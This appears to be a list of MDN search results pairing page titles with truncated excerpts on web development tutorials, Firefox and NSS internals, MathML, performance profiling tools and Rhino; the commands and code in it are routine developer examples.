the markup looks like so: <table> <caption>a summary of the uk's most famous punk bands</caption> <thead> <tr> <th scope="col">band</th> <th scope="col">year formed</th> <th scope="col">no.
... summary with styling tables now behind us, we need something else to occupy our time.
The box model - Learn web development
.box { box-sizing: border-box; } if you want all of your elements to use the alternative box model, and this is a common choice among developers, set the box-sizing property on the <html> element, then set all other elements to inherit that value, as seen in the snippet below.
... summary that's most of what you need to understand about the box model.
CSS building blocks - Learn web development
in this lesson, we will take a look at some of the most common values and units in use.
...understanding how big the different features in your design will be is important, and in this lesson, we will summarize the various ways elements get a size via css and define a few terms around sizing that will help you in the future.
create fancy boxes - Learn web development
feel free to tweak this example to make a cloud that isn't flat at the bottom ;) */ border-radius: 100% 100% 0 0; } /* those are common style that apply to both our ::before and ::after pseudo elements.
...<i>isaac asimov</i></blockquote> <blockquote lang="fr">l'intelligence, c'est comme les parachutes, quand on n'en a pas, on s'écrase.
What text editors are available? - Learn web development
summary a website consists mostly of text files, so for a fun, pleasant development experience you should choose your text editor wisely.
...lar (if possible in your editor), try to: change syntax highlighting settings and colors play with indentation width, setting it to an appropriate setting for your needs check autosave and session saving settings configure any available plugins and investigate how to get new ones change color schemes adjust view settings and see how you can change the layout of the views check what programming languages/technologies your editor supports while you're learning the default settings of most text editors should be fine to use, but it is important to become familiar with your chosen tools, so you can select the best one for your usage.
How do you make sure your website works properly? - Learn web development
here are the most common statuses: 200: ok the resource you asked for was delivered.
... more things to check we have listed a few simple ways to check that your website works properly, as well as the most common errors you may run across and how to fix them.
What is the difference between webpage, website, web server, and search engine? - Learn web development
summary as with any area of knowledge, the web comes with a lot of jargon.
... search engine search engines are a common source of confusion on the web.
What is accessibility? - Learn web development
summary because of physical or technical limitations, maybe your visitors can't experience your website the way you hoped.
... also, make sure people can adjust the volume to accommodate their unique needs.
What software do I need to build a website? - Learn web development
summary you can download most of the programs you need for web development for free.
...browserstack actually gives you full remote access to virtual machines so you can test your site in the most common environments.
Advanced form styling - Learn web development
formalize is an extension to common javascript frameworks (such as jquery, dojo, yui, etc.) that helps to normalize and customize your forms.
... summary while there are still difficulties using css with html forms, there are ways to get around many of the problems.
CSS property compatibility table for form controls - Learn web development
the following compatibility tables try to summarize the state of css support for html forms.
...ach property there are two possible renderings: n (normal) indicates that the property is applied as it is t (tweaked) indicates that the property is applied with the extra rule below: * { /* turn off the native look and feel */ -webkit-appearance: none; appearance: none; /* for internet explorer */ background: none; } compatibility tables global behaviors some behaviors are common to many browsers at a global level: border, background, border-radius, height using one of these properties can partially or fully turn off the native look & feel of widgets on some browsers.
Styling web forms - Learn web development
first, let's ensure that the <label>s are given the right font: label { font : .8em "typewriter", sans-serif; } the text fields require some common rules.
... summary as you can see, as long as we want to build forms with just text fields and buttons, it's easy to style them using css.
Web forms — Working with user data - Learn web development
web forms are a very powerful tool for interacting with users — most commonly they are used for collecting data from users, or allowing them to control a user interface.
...therefore, before you look at the other sections listed below we'd recommend that you go away and learn some css and javascript first.
Front-end web developer - Learn web development
modules introduction to html (15–20 hour read/exercises) multimedia and embedding (15–20 hour read/exercises) html tables (5–10 hour read/exercises) styling and layout with css time to complete: 90–120 hours prerequisites it is recommended that you have basic html knowledge before starting to learn css.
... modules css first steps (10–15 hour read/exercises) css building blocks (35–45 hour read/exercises) styling text (15–20 hour read/exercises) css layout (30–40 hour read/exercises) additional resources css layout cookbook interactivity with javascript time to complete: 135–185 hours prerequisites it is recommended that you have basic html knowledge before starting to learn javascript.
Dealing with files - Learn web development
browsers, web servers, and programming languages do not handle spaces consistently.
...the most common things we'll have on any website project we create are an index html file and folders to contain images, style files, and script files.
Installing basic software - Learn web development
libraries, frameworks, etc., to speed up writing common functionality.
...we recommend starting with visual studio code, which is a free editor, that offers live previews and code hints.
HTML Cheatsheet - Learn web development
that's the whole purpose of the cheatsheet, to give you some quick accurate ready to use code snippets for common usages.
... aditional information <details><summary>html cheatsheet</summary><p>inline elements</p><p>block elements</p></details> html cheatsheet inline elements block elements an unordered list <ul> <li>i'm an item</li> <li>i'm another item</li> </ul> i'm an item i'm another item an ordered list <ol> <li>i'm the first item</li> <li>i'm th...
Use JavaScript within a webpage - Learn web development
about javascript javascript is a programming language mostly used client-side to make webpages interactive.
...if you already know something about javascript or if you have a background with other programming languages, we suggest you jump directly into our javascript guide.
Image gallery - Learn web development
previous overview: building blocks now that we've looked at the fundamental building blocks of javascript, we'll test your knowledge of loops, functions, conditionals and events by getting you to build a fairly common item you'll see on a lot of websites — a javascript-powered image gallery.
... you need to: put the section of code below the "looping through images" comment inside a loop that loops through all 5 images — you just need to loop through five numbers, one representing each image.
Useful string methods - Learn web development
for example: man675847583748sjt567654;manchester piccadilly we want to extract the station code and name, and put them together in a string with the following structure: man: manchester piccadilly we'd recommend doing it like this: extract the three-letter station code and store it in a new variable.
... conclusion you can't escape the fact that being able to handle words and sentences in programming is very important — particularly in javascript, as websites are all about communicating with people.
JavaScript First Steps - Learn web development
handling text — strings in javascript next we'll turn our attention to strings — this is what pieces of text are called in programming.
... in this article we'll look at all the common things that you really ought to know about strings when learning javascript, such as creating strings, escaping quotes in string, and joining them together.
Multimedia: video - Learn web development
<video autoplay="" loop="" muted="true" playsinline="" id="hero-video"> <source src="banner_video.webm" type='video/webm; codecs="vp8, vorbis"'> <source src="web_banner.mp4" type="video/mp4"> </video> this hero-video code (above) is common to conference websites and corporate home pages.
...this is the ffmpeg command string to remove audio: ffmpeg -i original.mp4 -an -c:v copy audiofreeversion.mp4 video preload the preload attribute has three available options: auto|metadata|none.
The "why" of web performance - Learn web development
good performance may not be obvious to most site visitors, but most will immediately recognize a sluggish site.
... imagine loading that same site using tethered mobile data on a 9 year-old ipad while commuting home on public transportation.
React interactivity: Editing, filtering, conditional rendering - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
... summary so that's it — our app is now functionally complete.
Vue conditional rendering: editing existing todos - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
... summary this article has been fairly intense, and we covered a lot here.
Rendering a list of Vue components - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
... summary and that brings us to the end of another article.
Vue resources - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
... note: the vue cli docs also include a specific guide on how to publish your app to many of the common hosting platforms.
Understanding client-side JavaScript frameworks - Learn web development
to avoid common pitfalls, we'll have to dig a little deeper into svelte's reactivity system.
... they have strong communities and good documentation.
Tools and testing - Learn web development
once you've started to become comfortable programming with core web technologies (like html, css, and javascript), and you start to get more experience, read more resources, and learn more tips and tricks, you'll start to come across all kind of tools, from javascript frameworks, to testing and automation tools, and more besides.
... modules understanding client-side web development tools client-side tooling can be intimidating, but this series of articles aims to illustrate the purpose of some of the most common client-side tool types, explain the tools you can chain together, how to install them using package managers, and control them using the command line.
omni.ja (formerly omni.jar)
linux users can simply use unzip command to inflate files of omni.ja.
...the correct command to pack omni.ja is: zip -0dxqr omni.ja * the working directory must be at the root directory of the files from the omni.ja file.
Embedding API for Accessibility
comments/questions?
... please contact the mozilla accessibility community.
Browser chrome tests
for example, to run the tests in browser/base/content/test the command would be: ./mach mochitest -f browser browser/base/content/test/ or without mach test_path=<path_to_the_tests> make -c <objdir> mochitest-browser-chrome to run tests in debugger the following should work ./mach mochitest -f browser --debugger gdb browser/base/content/test/ run ./mach help mochitest-browser for more options.
... you can collect common utils and helpers in a file called head.js, that must live in the same folder as the browser-chrome tests.
Interface Compatibility
as we add new features to the web and to our applications, programming interfaces change.
... js-ctypes is the recommended way for extensions to call into os or third-party native code.
Interface development guide
commenting idl for better documentation a guide explaining how to properly comment your interface's idl in order to ensure that not only can others understand your interface, but to ensure that the documentation here on mdc is as accurate as possible.
... community view mozilla embedding forums...
Error codes returned by Mozilla APIs
ns_error_factory_not_loaded (0x800401f8) ns_error_factory_exists (0xc1f30100) ns_error_factory_no_signature_support (0xc1f30101) ns_error_proxy_invalid_in_parameter (0x80010010) ns_error_proxy_invalid_out_parameter (0x80010011) ns_error_cannot_convert_data (0x80460001) ns_error_object_is_immutable (0x80460002) ns_error_loss_of_significant_data (0x80460003) ns_error_illegal_during_shutdown (0x8046001e) many operations cannot be performed once the application is being shutdown.
...implementations of nsichannel.asyncopen() will commonly return this error if the channel has already been opened (and has not yet been closed).
Message manager
message managers provide a way for chrome-privileged javascript code to communicate across process boundaries.
... guides message manager overview frame script loading and lifetime communicating with frame scripts performance best practices frame script environment limitations of frame scripts process scripts api reference nsiframescriptloader nsimessagelistenermanager nsimessagebroadcaster nsimessagesender nsisyncmessagesender nsicontentframemessagemanager nsiprocessscriptloader ...
Security best practices for Firefox front-end engineers
this article will help firefox developers understand the security controls in place and avoid common pitfalls when developing front-end code for firefox.
... we use our built-in sanitizer with the following flags: sanitizerallowstyle sanitizerallowcomments sanitizerdropforms sanitizerlogremovals the sanitizer removes all scripts (script tags, event handlers) and form elements (form, input, keygen, option, optgroup, select, button, datalist).
Firefox
firefox is an open source project; much of the code is contributed by our huge community of volunteers.
...always keep in mind the side effects your changes may have, from blocking other tasks, to interfering with other user interface elements.privacythis document lists privacy-related documentation.security best practices for firefox front-end engineersthis article will help firefox developers understand the security controls in place and avoid common pitfalls when developing front-end code for firefox.site identity buttonthe site identity button is a feature in firefox that gives users more information about the sites they visit.
Using the Browser API
MozillaGeckoChromeAPIBrowser APIUsing
note: an iframe enhanced by the browser api is commonly referred to as a "browser iframe".
... browser.addeventlistener('mozbrowserlocationchange', function (e) { urlbar.value = e.detail; }); zooming in and out the browser content can be programmatically zoomed in and out using the htmliframeelement.zoom() method.
How to Report a Hung Firefox
the tool also has command-line options to kill processes with other names or by process id.
... then, in a terminal, kill firefox using a command such as this: # replace 31042 with the pid of firefox found above kill -n sigabrt 31042 # on osx kill -s sigabrt 31042 the firefox crash report ui should appear.
IPDL Best Practices
specifically, because allocpprotocol and deallocpprotocol are asymmetric, if ipdl ends up shutting down the protocol tree due to an error, the auto pointer will attempt to trigger protocol deletion a second time.
... while this can be worked around with actordestroy, being explicit about deleting the protocol with send__delete__ is easier to maintain, with symmetric alloc/deallocpprotocol functions also being easier to reason about.
OS.File for the main thread
note that this snippet is useful as a demonstration of complex asynchronous programming with os.file – in most cases, function os.file.writeatomic is a better choice.
... flush if false or unspecified, return immediately once the write is complete.
Promise.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/promise.jsm"); note: a preliminary promise module is also available starting from gecko 17, though it didn't conform to the promises/a+ proposal until gecko 25: components.utils.import("resource://gre/modules/commonjs/promise/core.js"); // gecko 17 to 20 components.utils.import("resource://gre/modules/commonjs/sdk/core/promise.js"); // gecko 21 to 24 this implementation also includes helper functions that are specific to the add-on sdk.
... while you may still import this module from the above paths, the recommended way for loading it is through the add-on sdk loader.
SourceMap.jsm
is immediately passed to sourcenode.prototype.add, see below.
...useful for trimming whitespace from the end of a source node, etc.
Task.jsm
function async( atask ); async() is similar to spawn(), except that: it doesn't immediately start the task, rather it returns an "async function" that starts the task when the function is called; it binds the task to the async function's this object and arguments; it requires the task to be a function.
... async() simplifies the common pattern of implementing a method via a task, like this simple object with a greet method that has a name parameter and spawns a task to send a greeting and return its reply: let greeter = { message: "hello, name!", greet: function(name) { return task.spawn((function* () { return yield sendgreeting(this.message.replace(/name/, name)); }).bind(this); }) }; with async(), the method can be declared succinctly: let greeter = { message: "hello, name!", greet: task.async(function* (name) { return yield sendgreeting(this.message.replace(/name/, name)); }) }; while maintaining identical semantics: greeter.greet("mitchell").then((reply) => { ...
JavaScript code modules
assert.jsm implements the commonjs unit testing specification version 1.1, which provides a basic standardized interface for performing in-code logical assertions with optional, customizable error reporting.
... services.jsm provides getters for conveniently obtaining access to commonly-used services.
L10n Checks
ab-cd browser chrome/browser browser.dtd +backforwardmenu.tooltip +fullzoomenlargecmd.commandkey3 +fullzoomreducecmd.commandkey2 +fullzoomresetcmd.commandkey2 +organizebookmarks.label -showallbookmarkscmd2.label migration/migration.dtd -importfromfile.accesskey -importfromfile.label +importfromhtmlfile.accesskey +importfromhtmlfile.label you can assume changed strings when you see entities removed an...
...the output closes with a summary, giving the total counts of missing and obsolete strings and some statistics on how many strings are changed or not, excluding access and command keys.
Mozilla Content Localized in Your Language
example: 1.23 (decimal separator) or 1,000 (thousand separator) using comma or period.
...avoiding articles will help ensure that your translations will be accommodated within the user interface.
Localizing extension metadata on addons.mozilla.org
the localizable data fields of an extension are: name homepage summary description eula privacy policy version notes developer comments when you submit a new extension to amo, the process is divided into several steps.
... amo doesn't directly provide translation assistance to extension authors, but there are a couple services that can help: babelzilla.org babelzilla.org is a community dedicated to the localization of extensions for moz family apps.
Uplifting a localization from Central to Aurora
we're not talking relbranches: hg heads --template '{node} {branches}\n' this is printing something like 5131e147fa50c28ec858c7d9fd1ba201ea2a433b 4da525ed77699794c56081791bd46cc85983f6f8 9bc7e6c58fc091c8cd0e8d9e1dbc7e6f592772a7 gecko20b12_2011022218_relbranch 230e99fada602842d9630e673077ef9f1ab34247 gecko20b12pre_20110216_relbranch 41a4357884d7bcc50e69c71014124d3af2482afe comm20b11_20110203_relbranch 2ec6ad14e7168ebeb999b1e8ae10632ae4c9df23 gecko20b11_2011020209_relbranch d68e647ac3c0fee709c13abb0f03fac24a1a5d29 gecko20b11pre_20110126_relbranch 7ff37dc6837669363a51ad3fd2874ac845d312d5 gecko20b10_2011012115_relbranch 6c31fe9bc065a86aea2223ba48698f18ae7563ad gecko20b9_2011011018_relbranch here you can see that there are two changesets without a branch.
...hg merge if this just passes, you want to commit, and you probably want to use a commit message like "merging central and aurora".
Fonts for Mozilla's MathML engine
on debian/ubuntu/mint and other debian-based distributions, use the following command: sudo apt-get install fonts-lmodern fonts-stix on fedora and other fedora-based distributions, use the following command (stix-math-fonts is often already installed): sudo dnf install texlive-lm-math stix-math-fonts on opensuse and other opensuse-based distributions, use the following command: sudo zypper install texlive-lm-math stix-fonts on other linux distributions, consider installin...
...if you are likely to need these characters, we recommend to install the xits or amiri fonts.
MathML3Testsuite
when the markup is intentionally errorous, the correct behavior is not defined by the recommendation and hence the tests are considered passed if there is no fatal error (crash, etc).
...s topics accents bidi elementarymathexamples embellishedop largeop linebreak nesting stretchychars whitespace torturetests errorhandling original document information author(s): frédéric wang other contributors: last updated date: may 26, 2010 copyright information: portions of this content are © 2010 by individual mozilla.org contributors; content available under a creative commons license | details.
Mozilla MathML Status
mmultiscripts implemented.
... original document information author(s): frédéric wang other contributors: copyright information: portions of this content are © 2010 by individual mozilla.org contributors; content available under a creative commons license | details.
MathML Demo: <mtable> - tables and matrices
math axis test, using externally aligned arrays inside symmetric fences.
... these may sound like gimmicks until you want to get a damping effect such as this ---...
Mozilla Quirks Mode Behavior
the topmargin, bottommargin, leftmargin, and rightmargin attributes on body are supported only in quirks mode (bug 9258).
... html parser in quirks mode, we parsed html comments in a non-sgml way compatible with other browsers instead of treating "--" as the comment start and end delimiter.
Intel Power Gadget
these are reasonably useful for power profiling purposes, but mozilla's rapl utility provides these along with gpu and ram estimates, and in a command-line format that is often easier to use.
... (an energia dashboard can be seen here; please note that the data has not been updated since early 2014.) version 3.0 (available on mac and windows, but not on linux) also exposes an api from which the same measurements can be extracted programmatically.
Leak Gauge
results of processing log leak.log : summary: leaked 0 out of 11 dom windows leaked 0 out of 44 documents leaked 0 out of 3 docshells leaked content nodes in 0 out of 0 documents if there are leaks, output will look like the following.
...summary: leaked 13 out of 15 dom windows leaked 35 out of 46 documents leaked 4 out of 4 docshells leaked content nodes in 42 out of 53 documents if you see such a results, please file a bug.
dtrace
a good starting command for profiling wakeups is the following.
... run that command for a few seconds and then hit ctrl + c to interrupt it.
perf
sudo perf stat -a -r 1 \ -e "power/energy-pkg/" \ -e "power/energy-cores/" \ -e "power/energy-gpu/" \ -e "power/energy-ram/" \ <command> the -a is necessary; it means "all cores", and without it all the measurements will be zero.
... the -r 1 means <command> is executed once; higher values can be used to get variations.
turbostat
turbostat is a linux command-line utility that prints various measurements, including numerous per-cpu measurements.
... invocation turbostat must be invoked as the super-user: sudo turbostat if you get an error saying "turbostat: no /dev/cpu/0/msr", you need to run the following command: sudo modprobe msr the output is as follows: core cpu avg_mhz %busy bzy_mhz tsc_mhz smi cpu%c1 cpu%c3 cpu%c6 cpu%c7 coretmp pkgtmp pkg%pc2 pkg%pc3 pkg%pc6 pkg%pc7 pkgwatt corwatt gfxwatt - - 799 21.63 3694 3398 0 12.02 3.16 1.71 61.48 49 49 0.00 0.00 0.00 0.00 22.68 15.13 1.13 0 0 821 22.44 3657 3398 0 ...
Phishing: a short definition
the following is a non-exhaustive list of the most common approaches.
...this was chosen as an early second factor 'protocol' as text messages are widely supported, however, even nist no longer recommends sms verification.
Productization guide
productization is the choice of ''default'' search engines, content and protocol handlers, bookmarks, links to recommended sites on the in-product pages, etc.
...the first page will cover performing research and preparing to submit productization recommendations.
Debugging out-of-memory problems
a common bug to diagnose with emscripten is where a big game fails due to an out of memory error (oom) somewhere during load time.
... firefox android on firefox android, an about:memory dump may be triggered from a connect desktop machine with the command: adb shell am broadcast -a org.mozilla.gecko.memory_dump the location of the dump file will be printed to the android log (viewed with adb logcat | grep geckoconsole) and can be retrieved via adb pull.
Emscripten
emscripten makes native code immediately available on the web: a platform that is standards-based, has numerous independent compatible implementations, and runs everywhere from pcs to ipads.
... other articles of interest on mdn our games zone contains some useful content related to games development, which is a common area of use for emscripten.
AsyncTestUtils extended framework
we do not mark the folders as offline and therefore do not attempt to download the messages so that they are immediately available for offline use.
...we mark the folders as offline and download the messages so that they are immediately available for offline use.
Leak And Bloat Tests
manually running tests setting up build set up build thunderbird or seamonkey with your standard mozconfig file, but with the following options set: ac_add_options --enable-debug ac_add_options --enable-trace-malloc running the tests in your <objdir> run the following command: make mailbloat this will run the tests and produce some result files.
...code locations the files specific to leak and bloat testing are be stored in: http://mxr.mozilla.org/comm-central/source/mailnews/test/performance these files consist of: overlays (used to provide the hooks for the javascript): bloat/bloataddroverlay.xul bloat/bloatcomposeoverlay.xul bloat/bloatmainoverlay.xul javascript files (used to drive the tests): bloat/bloataddroverlay.js bloat/bloatcomposeoverlay.js bloat/bloatmainoverlay.js preference settings (used to provide a defined profile, see below): common/mailnewstestprefs.js python scripts (used to set up the profile and run the test): bloat/setupbloattest.py bloat/runtest.py common/setupcommonmailnew...
Midas editor module security preferences
this functionality is completely removed since 2013-12-14 18:23 pst, see: bugs 38966 and 913734 note: if you've reached this page from a message box in firefox or another mozilla product, try using keyboard shortcuts for the cut, copy, and paste commands: copy: ctrl+c or ctrl+insert (command+c on mac) paste: ctrl+v or shift+insert (command+v on mac) cut: ctrl+x or shift+delete (command+x on mac) the information on the rest of this page is for web developers and advanced users.
... to protect users' private information, unprivileged scripts cannot invoke the cut, copy, and paste commands in midas, which is mozilla's rich text editor component.
NSPR release procedure
the repackage.sh script repackages the jar files into the form most commonly used on that platform.
...we recommend using https://ftp.mozilla.org/.
Dynamic Library Linking
this section describes nspr's programming interface to load, unload and resolve symbols in dynamic libraries.
... this section summarizes these platform idiosyncrasies.
IPC Semaphores
this chapter describes the nspr api for using interprocess communication semaphores.
... nspr provides an interprocess communication mechanism using a counting semaphore model similar to that which is provided in unix and windows platforms.
Named Shared Memory
shared memory allows multiple processes to access one or more common shared memory regions, using it as an interprocess communication channel.
...these limits may be adjusted on some platforms either via boot-time options or by setting the size of the system paging space to accommodate more and/or larger shared memory segment(s).
PRFileMap
type returned by pr_createfilemap and passed to pr_memmap and pr_closefilemap.
...then sections of the file can be mapped into memory by passing the prfilemap pointer to pr_memmap.
PRLinger
description by default, pr_close returns immediately, but if there are any data remaining in the socket send buffer, the system attempts to deliver the data to the peer.
... the pr_sockopt_linger socket option, with a value represented by a structure of type prlinger, makes it possible to change this default as follows: if polarity is set to pr_false, pr_close returns immediately, but if there are any data remaining in the socket send buffer, the runtime attempts to deliver the data to the peer.
PR_Initialize
this approach conforms to standard c programming practice.
...this approach conforms to standard c programming practice.
NSPR release process
make a dummy change (add or remove a blank line) to mozilla/nsprpub/config/prdepend.h.
... make a dummy change (add or remove a blank line) to mozilla/nsprpub/config/prdepend.h.
NSS Code Coverage
31 - total lines in file (by wc -l command).
... 878 - total lines in file (by wc -l command).
Getting Started With NSS
the nss library and its supporting command line tools are written in the c programming language.
...you could contribute by organizing it in a better way.) nss sample code a good place to start learning how to write nss applications are the command line tools that are maintained by the nss developers.
JSS FAQ
MozillaProjectsNSSJSSJSS FAQ
g/mozilla/jss/ssl/sslserver.java org/mozilla/jss/ssl/ssltest.java other test code that may prove useful: org/mozilla/jss/asn1/integer.java org/mozilla/jss/asn1/sequence.java org/mozilla/jss/asn1/set.java org/mozilla/jss/pkcs10/certificationrequest.java org/mozilla/jss/pkcs12/pfx.java org/mozilla/jss/pkix/cert/certificate.java org/mozilla/jss/pkix/cmmf/certrepcontent.java org/mozilla/jss/pkix/crmf/certreqmsg.java org/mozilla/jss/pkix/crmf/certtemplate.java org/mozilla/jss/pkix/primitive/name.java org/mozilla/jss/provider/javax/crypto/jsssecretkeyfactoryspi.java org/mozilla/jss/util/utf8converter.java org/mozilla/jss/util/base64inputstream.java jss/samples/pqggen.java jss/samples/pkcs12.java i...
...symmetric key usage: basically encrypt/decrypt is for data and wrap/unwrap is for keys.
JSS 4.4.0 Release Notes
jss 4.4.0 requires nss 3.12.5 or higher though nss 3.28.3 is recommended.
... jss 4.3.1 requires nspr 4.7.1 or higher though nspr 3.13 is recommended.
NSS 3.14 release notes
_gcm (see warnings against using c_encryptupdate/c_decryptupdate above) ckm_sha224_key_derivation ckm_sha256_key_derivation ckm_sha384_key_derivation ckm_sha512_key_derivation changes in nss 3.14 bug 333601 - performance enhancements for intel macs when building for intel macs, nss will now take advantage of optimized assembly code for common operations.
... command line utilities tstclnt, strsclnt, and selfserv have changed.
NSS 3.18 release notes
the tstclnt test utility program has new command-line options -c, -d, -b and -r.
...:c8:d4:72:24:65:84:fe:40:3b:8a:8d:6a:db:f5 the following ca certificates were added cn = staat der nederlanden root ca - g3 sha1 fingerprint: d8:eb:6b:41:51:92:59:e0:f3:e7:85:00:c0:3d:b6:88:97:c9:ee:fc cn = staat der nederlanden ev root ca sha1 fingerprint: 76:e2:7e:c1:4f:db:82:c1:c0:a6:75:b5:05:be:3d:29:b4:ed:db:bb cn = identrust commercial root ca 1 sha1 fingerprint: df:71:7e:aa:4a:d9:4e:c9:55:84:99:60:2d:48:de:5f:bc:f0:3a:25 cn = identrust public sector root ca 1 sha1 fingerprint: ba:29:41:60:77:98:3f:f4:f3:ef:f2:31:05:3b:2e:ea:6d:4d:45:fd cn = s-trust universal root ca sha1 fingerprint: 1b:3d:11:14:ea:7a:0f:95:58:54:41:95:bf:6b:25:82:ab:40:ce:9a cn = entrust ...
NSS 3.35 release notes
the following ca certificates were removed: ou = security communication ev rootca1 sha-256 fingerprint: a2:2d:ba:68:1e:97:37:6e:2d:39:7d:72:8a:ae:3a:9b:62:96:b9:fd:ba:60:bc:2e:11:f6:47:f2:c6:75:fb:37 cn = ca disig root r1 sha-256 fingerprint: f9:6f:23:f4:c3:e7:9c:07:7a:46:98:8d:5a:f5:90:06:76:a0:f0:39:cb:64:5d:d1:75:49:b2:16:c8:24:40:ce cn = dst aces ca x6 sha-256 fingerprint: 76:7c:95:5a:76:41:2c:89:af:6...
... the websites (tls/ssl) trust bit was turned off for the following ca certificates: cn = chambers of commerce root sha-256 fingerprint: 0c:25:8a:12:a5:67:4a:ef:25:f2:8b:a7:dc:fa:ec:ee:a3:48:e5:41:e6:f5:cc:4e:e6:3b:71:b3:61:60:6a:c3 cn = global chambersign root sha-256 fingerprint: ef:3c:b4:17:fc:8e:bf:6f:97:87:6c:9e:4e:ce:39:de:1e:a5:fe:64:91:41:d1:02:8b:7d:11:c0:b2:29:8c:ed significant changes to tls 1.3 were made, along with the update from draft -18 t...
NSS 3.47 release notes
low selecting the order of cipher suites in clienthello bug 1581507 - fix unportable grep expression in test scripts bug 1234830 - [cid 1242894][cid 1242852] unused values bug 1580126 - fix build failure on aarch64_be while building freebl/gcm bug 1385039 - build nspr tests as part of nss continuous integration bug 1581391 - fix build on openbsd/arm64 after bug #1559012 bug 1581041 - mach-commands -> mach-completion bug 1558313 - code bugs found by clang scanners.
... bug 1578751 - ensure a consistent style for pk11_find_certs_unittest.cc bug 1570501 - add cmac to freebl and pkcs #11 libraries bug 657379 - nss uses the wrong oid for signaturealgorithm field of signerinfo in cms for dsa and ecdsa bug 1576664 - remove -mms-bitfields from mingw nss build.
NSS Sample Code Utilities_1
nss sample code common: utilities this is a library of utilities used by many of the samples.
...e at least 8 characters long with one or more\n"); fprintf(output, "non-alphabetic characters\n"); continue; } return (char*) port_strdup(phrase); } } /* * filepasswd extracts the password from a text file * * storing passwords is often used with server environments * where prompting the user for a password or requiring it * to be entered in the command line is not a feasible option.
Utilities for nss samples
extern prbool checkpassword(char *cp); /* * getpassword */ extern char * getpassword(file *input, file *output, char *prompt, prbool (*ok)(char *)); /* * filepasswd extracts the password from a text file * * storing passwords is often used with server environments * where prompting the user for a password or requiring it * to be entered in the commnd line is not a feasible option.
...e at least 8 characters long with one or more\n"); fprintf(output, "non-alphabetic characters\n"); continue; } return (char*) port_strdup(phrase); } } /* * filepasswd extracts the password from a text file * * storing passwords is often used with server environments * where prompting the user for a password or requiring it * to be entered in the commnd line is not a feasible option.
nss tech note2
for example, to log the softoken, use: nss_debug_pkcs11_module="nss internal pkcs #11 module" note: in the command prompt on windows, do not quote the name of the target module, otherwise the quotes are considered part of the name.
...a summary of performance data is dumped during nss shutdown.
NSS PKCS11 Functions
pkcs #11 functions this chapter describes the core pkcs #11 functions that an application needs for communicating with cryptographic modules.
...flags a comma separated list of flag values, parsed case-insensitive.
pkfnc.html
upgraded documentation may be found in the current nss reference pkcs #11 functions chapter 7 pkcs #11 functions this chapter describes the core pkcs #11 functions that an application needs for communicating with cryptographic modules.
...for example, communicator uses the parameter to pass information about which window is associated with the modal dialog box requesting the password from the user.
SSL functions
the public functions listed here are used to configure sockets for communication via the ssl and tls protocols.
... other sources of information: the nss_reference documents the functions most commonly used by applications to support ssl.
NSS_3.12.3_release_notes.html
ags not being honored in cert_verifycert bug 469583: coverity: uninitialized variable used in sec_pkcs5createalgorithmid bug 469944: when built with microsoft compilers bug 470351: crlutil build fails on windows because it calls undeclared isatty bug 471539: stop honoring digital signatures in certificates and crls based on weak hashes bug 471665: nss reports incorrect sizes for (aes) symmetric keys bug 471715: add cert to nssckbi to override rogue md5-collision ca cert bug 472291: crash in libpkix object leak tests due to null pointer dereferencing in pkix_build.c:3218.
... bug 484425: need accessor function to retrieve symkey handle bug 484466: sec_error_invalid_args with nss_enable_pkix_verify=1 bug 485127: bltest crashes when attempting rc5_cbc or rc5_ecb bug 485140: wrong command line flags used to build intel-aes.s with solaris gas for x86_64 bug 485370: crash bug 485713: files added by red hat recently have missing texts in license headers.
NSS Tools certutil-tasks
mistakes with command-line options just print a usage message.
... remove keys "stranded" without a certificate (except for the imminent (????) encryption key for password files).
NSS Tools dbck-tasks
nss security tools: dbck tasks newsgroup: mozilla.dev.tech.crypto task list in analyze mode, there should be an option to create a file containing a graph of the certificate database without any information about the user's certificates (no common names, email addresses, etc.).
...there should be command-line options and, perhaps, an interactive mode to allow determine which certificates to keep.
NSS tools : signver
MozillaProjectsNSStoolssignver
synopsis signtool -a | -v -d directory [-a] [-i input_file] [-o output_file] [-s signature_file] [-v] description the signature verification tool, signver, is a simple command-line utility that unpacks a base-64-encoded pkcs#7 signed object and verifies the digital signature using standard cryptographic techniques.
... by default, the tools (certutil, pk12util, modutil) assume that the given security databases follow the more common legacy type.
The Necko HTTP module
it answers some of the common questions concerning what is cached and for how long.
... original document information last updated date: may 12, 2003 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details ...
Necko Interfaces Overview
scheme, host, path, ...) per protocol implementation necko provides uri impl's for common uri formats (see nsstandardurl, nssimpleuri) nsichannel : nsirequest represents a logical connection to the resource identified by a nsiuri per protocol implementation single use (ie.
.../o methods: openinputstream, openoutputstream asynchronous i/o methods: asyncread, asyncwrite nsitransport::asyncread takes a nsistreamlistener parameter original document information author(s): darin fisher last updated date: december 10, 2001 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Download Rhino
to get the source, use the command git clone https://github.com/mozilla/rhino.git rhino uses gradle as its build system.
... running the ./gradlew tasks command at the top directory of the rhino distribution will print the list of available build targets.
Tutorial: Embedding Rhino
all it does it read a script from the command line, execute it, and print a result.
... here's an example use of runscript from a shell command line: $ java runscript "math.cos(math.pi)" -1 $ java runscript "function f(x){return x+1} f(7)" 8 note that you'll have to have both the rhino classes and the runscript example class file in the classpath.
Rhino overview
ntains all the features of javascript 1.7 allows direct scripting of java a javascript shell for executing javascript scripts a javascript compiler to transform javascript source files into java class files a javascript debugger for scripts executed with rhino language the javascript language itself is standardized by standard ecma-262 ecmascript: a general purpose, cross-platform programming language.
...javascript: the definitive guide is recommended, and contains a chapter on rhino.
Shumway
this article will help you understand shumway — mozilla's open standards-based flash renderer — and what it means for the community of developers currently creating the adobe flash platform.
... you could also directly commit bug fixes as pull requests.
GCIntegration - SpiderMonkey Redirect 1
spidermonkey uses a simple barrier commonly called a "snapshot at the beginning" barrier.
... to understand the problem more, let's consider some reasons why barriers are not needed in common areas of firefox: if a pointer is never changed after it's initialized, then there's no need for a write barrier.
Functions
an algol-like function may read the local variables and arguments of its immediate enclosing function from the stack, as if by magic.
...if a name definitely refers to an argument or local variable of the immediately enclosing function, it can be accessed using jsop_{get,set,call}{arg,local} instructions.
JSObjectPrincipalsFinder
